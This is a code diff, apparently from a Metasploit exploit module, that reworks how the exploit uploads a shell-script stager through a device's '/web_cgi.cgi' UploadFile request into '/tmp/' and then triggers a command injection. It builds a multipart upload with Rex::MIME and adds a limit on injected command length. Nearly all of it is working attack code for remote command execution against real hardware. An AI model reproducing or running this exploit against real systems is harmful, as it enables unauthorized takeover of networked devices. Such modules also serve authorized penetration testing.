@@ -83,7 +83,7 @@ def exploit
83
83
@counter = 1
84
84
execute_cmdstager (
85
85
:flavor => :echo ,
86
- :linemax => 99 #limited by our upload, larger payloads crash the web server
86
+ :linemax => 95 #limited by our upload, larger payloads crash the web server
87
87
)
88
88
89
89
print_status ( "#{ peer } - creating payload and executing it ..." )
@@ -108,21 +108,22 @@ def execute_command(cmd,opts)
108
108
#upload our stager to a shell script
109
109
#upload takes quite long because there is no response from the web server
110
110
111
- data_cmd = "------------------------------9bcdb049f0d2\r \n "
112
- data_cmd << "Content-Disposition: form-data; name=\" name\" ; filename=\" #{ @counter } \" \r \n "
113
- data_cmd << "Content-Type: application/octet-stream\r \n \r \n "
114
- data_cmd << "#!/bin/sh\n "
115
- data_cmd << cmd
116
- data_cmd << "\n ------------------------------9bcdb049f0d2--"
111
+ file_upload = "#!/bin/sh\n "
112
+ file_upload << cmd << "\n "
113
+
114
+ post_data = Rex ::MIME ::Message . new
115
+ post_data . add_part ( file_upload , nil , "binary" , "form-data; name=\" xxx\" ; filename=\" #{ @counter } \" " )
116
+ post_data . bound = "-9bcdb049f0d2--"
117
+ file = post_data . to_s
117
118
118
119
@counter = @counter + 1
119
120
120
121
begin
121
122
send_request_cgi ( {
122
123
'method' => 'POST' ,
123
124
'uri' => "/web_cgi.cgi?&request=UploadFile&path=/tmp/" ,
124
- 'ctype' => "multipart/form-data; boundary=----------------------------9bcdb049f0d2 " ,
125
- 'data' => data_cmd
125
+ 'ctype' => "multipart/form-data; boundary=#{ post_data . bound } " ,
126
+ 'data' => file
126
127
} )
127
128
rescue ::Rex ::ConnectionError
128
129
fail_with ( Failure ::Unreachable , "#{ peer } - Failed to connect to the web server" )
@@ -131,6 +132,7 @@ def execute_command(cmd,opts)
131
132
end
132
133
133
134
def execute_final_command ( cmd )
135
+ fail_with ( Failure ::Unknown , "#{ peer } - Generated command for injection is too long" ) if cmd . length > 18
134
136
begin
135
137
send_request_cgi ( {
136
138
'method' => 'GET' ,
0 commit comments